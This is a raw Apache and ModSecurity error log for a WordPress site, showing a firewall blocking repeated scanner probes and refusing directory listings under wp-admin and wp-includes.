[Wed Apr 22 09:11:50.642108 2026] [:error] [pid 31755:tid 31770] [client 185.242.3.48:55544] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/old"] [unique_id "aeggVgz2mYMkg3X8q1uuTAAAAgc"]
[Wed Apr 22 09:11:51.142565 2026] [:error] [pid 21683:tid 21754] [client 185.242.3.48:58969] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/old"] [unique_id "aeggV1ZBWT-0diZyYyawBwAAAIQ"]
[Wed Apr 22 09:11:51.641852 2026] [:error] [pid 31755:tid 31769] [client 185.242.3.48:62199] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/newsite"] [unique_id "aeggVwz2mYMkg3X8q1uuTwAAAgY"]
[Wed Apr 22 09:11:53.228071 2026] [:error] [pid 31755:tid 31770] [client 185.242.3.48:50950] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/newsite"] [unique_id "aeggWQz2mYMkg3X8q1uuVgAAAgc"]
[Wed Apr 22 09:11:53.814802 2026] [:error] [pid 21683:tid 21763] [client 185.242.3.48:65114] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/newsite"] [unique_id "aeggWVZBWT-0diZyYyawCgAAAI0"]
[Wed Apr 22 09:11:55.267468 2026] [:error] [pid 31755:tid 31766] [client 185.242.3.48:59324] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/newsite"] [unique_id "aeggWwz2mYMkg3X8q1uuXQAAAgM"]
[Wed Apr 22 09:11:55.959310 2026] [:error] [pid 31755:tid 31784] [client 185.242.3.48:53318] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/newsite"] [unique_id "aeggWwz2mYMkg3X8q1uuXwAAAhU"]
[Wed Apr 22 09:11:56.766587 2026] [:error] [pid 31755:tid 31770] [client 185.242.3.48:50554] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test"] [unique_id "aeggXAz2mYMkg3X8q1uuYgAAAgc"]
[Wed Apr 22 09:11:57.963276 2026] [:error] [pid 21683:tid 21770] [client 185.242.3.48:50068] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test"] [unique_id "aeggXVZBWT-0diZyYyawCwAAAJQ"]
[Wed Apr 22 09:12:01.270884 2026] [:error] [pid 31755:tid 31779] [client 185.242.3.48:55183] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test"] [unique_id "aeggYQz2mYMkg3X8q1uuaQAAAhA"]
[Wed Apr 22 09:12:02.342203 2026] [:error] [pid 32095:tid 32122] [client 185.242.3.48:55167] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test"] [unique_id "aeggYtfu5Cv628YPe5-FSgAAA5g"]
[Wed Apr 22 09:12:03.359998 2026] [:error] [pid 21682:tid 21741] [client 185.242.3.48:63250] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test"] [unique_id "aeggY5lXWQZUlmPHS3owKwAAAFI"]
[Wed Apr 22 09:12:08.445324 2026] [:error] [pid 23041:tid 23057] [client 185.242.3.48:56709] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core"] [unique_id "aeggaETXx_lUa7xwAb4n3AAAAQ0"]
[Wed Apr 22 09:12:10.676129 2026] [:error] [pid 21683:tid 21756] [client 185.242.3.48:52877] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core"] [unique_id "aeggalZBWT-0diZyYyawIwAAAIY"]
[Wed Apr 22 09:12:13.222825 2026] [:error] [pid 21682:tid 21733] [client 185.242.3.48:52877] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core"] [unique_id "aeggbZlXWQZUlmPHS3owUQAAAEo"]
[Wed Apr 22 09:12:17.928535 2026] [:error] [pid 23041:tid 23047] [client 185.242.3.48:54197] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core"] [unique_id "aeggcUTXx_lUa7xwAb4n8AAAAQM"]
[Wed Apr 22 09:12:18.850876 2026] [:error] [pid 32095:tid 32114] [client 185.242.3.48:49804] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core"] [unique_id "aeggctfu5Cv628YPe5-FTwAAA5A"]
[Wed Apr 22 09:12:19.643386 2026] [:error] [pid 21682:tid 21742] [client 185.242.3.48:52532] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/testing"] [unique_id "aeggc5lXWQZUlmPHS3owVwAAAFM"]
[Wed Apr 22 09:12:20.180654 2026] [:error] [pid 31756:tid 31803] [client 185.242.3.48:55784] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/testing"] [unique_id "aeggdN_WbkXbHaEfhd330AAAAks"]
[Wed Apr 22 09:12:20.771441 2026] [:error] [pid 32053:tid 32071] [client 185.242.3.48:57946] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/testing"] [unique_id "aeggdAzPjXx_ocfbYhtD8QAAA1A"]
[Wed Apr 22 09:12:21.372873 2026] [:error] [pid 21683:tid 21752] [client 185.242.3.48:59697] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/testing"] [unique_id "aeggdVZBWT-0diZyYyawKwAAAII"]
[Wed Apr 22 09:12:22.061649 2026] [:error] [pid 31756:tid 31798] [client 185.242.3.48:61917] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/testing"] [unique_id "aeggdt_WbkXbHaEfhd331AAAAkY"]
[Wed Apr 22 09:12:22.704707 2026] [:error] [pid 31755:tid 31771] [client 185.242.3.48:64250] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/home"] [unique_id "aeggdgz2mYMkg3X8q1uuuAAAAgg"]
[Wed Apr 22 09:12:23.335202 2026] [:error] [pid 31755:tid 31777] [client 185.242.3.48:49861] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/home"] [unique_id "aeggdwz2mYMkg3X8q1uuugAAAg4"]
[Wed Apr 22 09:12:23.912899 2026] [:error] [pid 21682:tid 21727] [client 185.242.3.48:51586] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/home"] [unique_id "aeggd5lXWQZUlmPHS3owXQAAAEQ"]
[Wed Apr 22 09:12:24.473173 2026] [:error] [pid 21683:tid 21756] [client 185.242.3.48:54205] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/home"] [unique_id "aeggeFZBWT-0diZyYyawLgAAAIY"]
[Wed Apr 22 09:12:25.039830 2026] [:error] [pid 21683:tid 21773] [client 185.242.3.48:57677] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/home"] [unique_id "aeggeVZBWT-0diZyYyawMAAAAJc"]
[Wed Apr 22 09:45:39.743142 2026] [:error] [pid 31706:tid 31713] [client 101.32.15.141:45244] [client 101.32.15.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aegoQ7GSe9Rnd4Q_z1iqpQAAAcQ"]
[Wed Apr 22 09:46:07.246072 2026] [autoindex:error] [pid 21682:tid 21735] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:10.602136 2026] [autoindex:error] [pid 21682:tid 21727] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:19.899002 2026] [autoindex:error] [pid 21682:tid 21743] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:21.769677 2026] [autoindex:error] [pid 21682:tid 21730] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:26.803915 2026] [autoindex:error] [pid 21682:tid 21746] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:27.083159 2026] [autoindex:error] [pid 21682:tid 21733] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:27.359198 2026] [autoindex:error] [pid 21682:tid 21730] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:30.913549 2026] [autoindex:error] [pid 21682:tid 21738] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:31.201774 2026] [autoindex:error] [pid 21682:tid 21739] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:32.959827 2026] [autoindex:error] [pid 21682:tid 21726] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:33.260294 2026] [autoindex:error] [pid 21682:tid 21744] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:33.540516 2026] [autoindex:error] [pid 21682:tid 21738] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:34.098416 2026] [autoindex:error] [pid 21682:tid 21735] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:34.378409 2026] [autoindex:error] [pid 21682:tid 21725] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:34.677310 2026] [autoindex:error] [pid 21682:tid 21723] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:41.018385 2026] [autoindex:error] [pid 21682:tid 21732] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:41.310251 2026] [autoindex:error] [pid 21682:tid 21736] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:41.591547 2026] [autoindex:error] [pid 21682:tid 21733] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:41.871565 2026] [autoindex:error] [pid 21682:tid 21723] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:42.145960 2026] [autoindex:error] [pid 21682:tid 21730] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:42.420141 2026] [autoindex:error] [pid 21682:tid 21744] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:44.394552 2026] [autoindex:error] [pid 21682:tid 21735] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:44.701810 2026] [autoindex:error] [pid 21682:tid 21729] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:49.759523 2026] [autoindex:error] [pid 21682:tid 21738] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:53.222001 2026] [autoindex:error] [pid 21682:tid 21740] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:53.775690 2026] [autoindex:error] [pid 21682:tid 21742] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:59.453878 2026] [autoindex:error] [pid 21682:tid 21731] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:46:59.754578 2026] [autoindex:error] [pid 21682:tid 21732] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 09:47:05.213072 2026] [autoindex:error] [pid 21682:tid 21723] [client 91.230.225.168:20173] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
